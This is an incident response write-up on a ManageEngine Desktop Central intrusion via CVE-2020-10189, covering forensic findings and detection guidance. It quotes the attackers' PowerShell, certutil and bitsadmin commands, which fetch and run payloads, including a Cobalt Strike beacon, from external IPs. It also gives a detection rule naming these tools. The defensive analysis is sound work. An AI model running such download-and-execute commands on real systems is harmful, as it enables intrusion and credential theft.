The Recon incident response team recently worked an intrusion case involving a ManageEngine Desktop Central server that was affected by CVE-2020-10189.
Zoho ManageEngine Desktop Central 10 allows remote code execution because of deserialization of untrusted data in getChartImage in the FileStorage class. This is related to the CewolfServlet and MDMLogUploaderServlet servlets.
Remote Code Execution vulnerability disclosed on Twitter
During our research of Desktop Central vulnerabilities we located a post on Twitter from a researcher who had disclosed an RCE for Desktop Central on March 5, 2020 (Figure 1).
Since @zoho typically ignores researchers, I figured it was OK to share a ManageEngine Desktop Central zero-day exploit with everyone. UnCVE'ed, unpatched and unauthenticated RCE as SYSTEM/root. Enjoy!— ϻг_ϻε (@steventseeley) March 5, 2020
Research on CVE-2020-10189 also showed that vulnerable Desktop Central servers were searchable on Shodan, a popular search engine for Internet-connected devices often used by attackers looking for vulnerable targets (Figure 2).
Initial compromise was determined based on a suspicious PowerShell download cradle that contained instructions to download files from a dotted quad url.
One of the earliest activities carried out by the actor are a few suspicious PowerShell download commands. The commands contained instructions to download
C:\Windows\Temp and then immediately execute
install.bat (figure 3).
cmd /c powershell $client = new-object System.Net.WebClient;$client.DownloadFile('http://220.127.116.11:12345/test/install.bat','C:\Windows\Temp\install.bat')&powershell $client = new-object System.Net.WebClient;$client.DownloadFile('http://18.104.22.168:12345/test/storesyncsvc.dll','C:\Windows\Temp\storesyncsvc.dll')&C:\Windows\Temp\install.bat
install.bat script contained instructions to install
storesyncsvc.dll as a service on the system. (Figure 4).
Predictably, within seconds of the suspicious PowerShell commands being run, we observed the installation of a new service with the Service Name
StorSyncSvc and Display Name of
Storage Sync Service (Figure 5).
OSINT quickly confirmed
storesyncsvc.dll to be previously observed by others hit by this campaign. VirusTotal results indicated that several detection engines had already classified
storesyncsvc.dll as malware.
Leveraging Process Tracking to Identify Application Exploitation
Knowing that an RCE had been disclosed via Twitter on March 5, 2020, only a few days prior to this intrusion, we already had a strong theory on the attack vector being exploitation of the Zoho ManageEngine Desktop Central application.
Review of Sysmon process creation events indicated that
C:\ManageEngine\DesktopCentral_Server\jre\bin\java.exe was the process responsible for executing the PowerShell Download commands (Figure 6).
Looking at processes in memory, we also observed the parent/child relationship between the Desktop Central
2.exe (Figure 7).
Leveraging Filesystem Artifacts to Identify Application Exploitation
To further validate our theory, we compared the artifacts that had been collected from the affected Desktop Central server to the POC that had been published and determined that the attacker had likely leveraged the CVE-2020-10189 vulnerability to run code on this vulnerable system.
Through filesystem timeline analysis we determined that a traversal file write had likely occurred on the system with the file names
_chart (Figure 8) and
logger.zip (Figure 9).
These file names were also referenced in the POC that had been released by @Steventseeley (Figure 10).
Command and Control Payload Introduced To System
Subsequent process creation logs revealed
certutil.exe commands being used to download and execute
2.exe (Figure 11). Further analysis revealed a high likelihood of
2.exe being part of the popular post-exploitation and C2 tool Cobalt Strike.
cmd /c certutil -urlcache -split -f http://22.214.171.124/2.exe && 2.exe
OSINT revealed that
2.exe was already identified as malware by several detection engines on VirusTotal: https://www.virustotal.com/gui/file/d854f775ab1071eebadc0eb44d8571c387567c233a71d2e26242cd9a80e67309/details
Leveraging app.any.run sandbox (Figure 12) and memory analysis of the malware further confirmed the likelihood of
2.exe being a hosted Cobalt Strike Beacon payload.
Yara analysis supports 2.exe classification as Cobalt Strike
We performed a yara scan against all memory sections in use by the known malware,
2.exe . The yara scan results further supported the theory of
2.exe resembling a Cobalt Strike beacon among several other possible malware signature hits (Figure 13).
Leveraging Volatility’s malfind plugin, we identified several memory sections with potential signs of code injection. We fired off another yara scan, this time against the memory sections dumped by malfind. This provided additional validation of the likely presence of a Cobalt Strike Beacon. See that entire process in the asciinema recording below (Figure 14).
We then examined malfind’s output for evidence of code injection and identified suspicious memory sections within
svchost.exe (Figure 15). OSINT research led us to a researcher that had reversed the malware and found the area responsible for injecting code into
svchost.exe (Figure 16).
2020-03-09: 🔥👁🗨#Loader x64 "svchost" #Malware|#CVE202010189 Drop🧨— Vitali Kremez (@VK_Intel) March 9, 2020
pe.exports("GetAllUser") and pe.exports("ServiceMain") and pe.exports("StringContract")
cc/ @malwrhunterteam https://t.co/29gWw2LInp pic.twitter.com/iPpzz6GLVC
Among the post-compromise activities, we observed malicious Bitsadmin commands that contained instructions to transfer
126.96.36.199 over suspicious port
Our analysts observed bitsadmin commands being run on the Desktop Central server which contained the same IP address, port and the same install.bat file called in the PowerShell download commands (Figure 17).
cmd /c bitsadmin /transfer bbbb http://188.8.131.52:12345/test/install.bat C:\Users\Public\install.bat
We also observed potential credential access activity. A common technique for attackers to perform credential dumping is using a malicious process (SourceImage) to access another process (the TargetImage). Most commonly,
lsass.exe is targeted as it often contains sensitive information such as account credentials.
Here, we observed the SourceImage
2.exe accessing the TargetImage
lsass.exe (Figure 18). The Cobalt Strike Beacon contains native credential dumping capabilities similar to Mimikatz. The only required condition to use this capability is SYSTEM privileges, which the attacker had. The event below provides sufficient evidence that the risk of credential access is high.
Tools For IR Teams Dealing With Similar Intrusions
Example usage targeting relevant logs (tune for your use-case):
kape.exe --tsource C: --tdest c:\temp\tout --tflush --target ManageEngineLogs
Florian Roth of the Sigma project has created a signature to detect some of the techniques leveraged by the attackers:
Our analysis of this attack also found that detection based on command-line activity in process creation logs would be valuable.
ParentImage | endswith: 'DesktopCentral_Server\jre\bin\java.exe' CommandLine | contains: '*powershell*' '*certutil*' '*bitsadmin*'
The researchers at Fireeye published an excellent article that contained some of the same findings and included attribution to APT41. You can read more about it here: